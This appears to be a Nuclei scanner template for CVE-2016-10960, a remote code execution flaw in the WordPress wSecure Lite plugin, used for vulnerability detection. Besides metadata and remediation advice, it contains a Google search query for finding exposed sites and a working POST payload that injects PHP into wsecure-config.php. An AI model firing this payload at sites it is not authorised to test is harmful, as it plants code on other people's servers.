id: CVE-2016-10960 info: name: WordPress wSecure Lite < 2.4 - Remote Code Execution author: daffainfo severity: high description: WordPress wsecure plugin before 2.4 is susceptible to remote code execution via shell metacharacters in the wsecure-config.php publish parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site. remediation: | Update to the latest version of WordPress wSecure Lite plugin (2.4 or higher) to fix the vulnerability. reference: - https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/ - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960 - https://wordpress.org/plugins/wsecure/#developers classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2016-10960 cwe-id: CWE-20 epss-score: 0.01469 epss-percentile: 0.85345 cpe: cpe:2.3:a:joomlaserviceprovider:wsecure:*:*:*:*:lite:wordpress:*:* metadata: max-request: 1 vendor: joomlaserviceprovider product: wsecure framework: wordpress google-query: inurl:"/wp-content/plugins/wsecure" tags: cve2016,cve,wordpress,wp-plugin,rce,joomlaserviceprovider variables: name: "{{to_lower(rand_text_alpha(5))}}" http: - method: POST path: - "{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php" body: 'wsecure_action=update&publish=";} header("{{name}}: CVE-2016-10960"); class WSecureConfig2 {var $test="' matchers-condition: and matchers: - type: word part: header words: - "{{name}}: CVE-2016-10960" condition: and - type: status status: - 200 # digest: 4a0a0047304502205ad53c903ba2bebb11ba682371d5effabb815393b5fce1a5afa0d0b015007225022100ec11c4aab23c0e7c1c2f1e750ede0ffa71ffe439c86b4c626937bcd925a67fa1:922c64590222798bb761d5b6d8e72950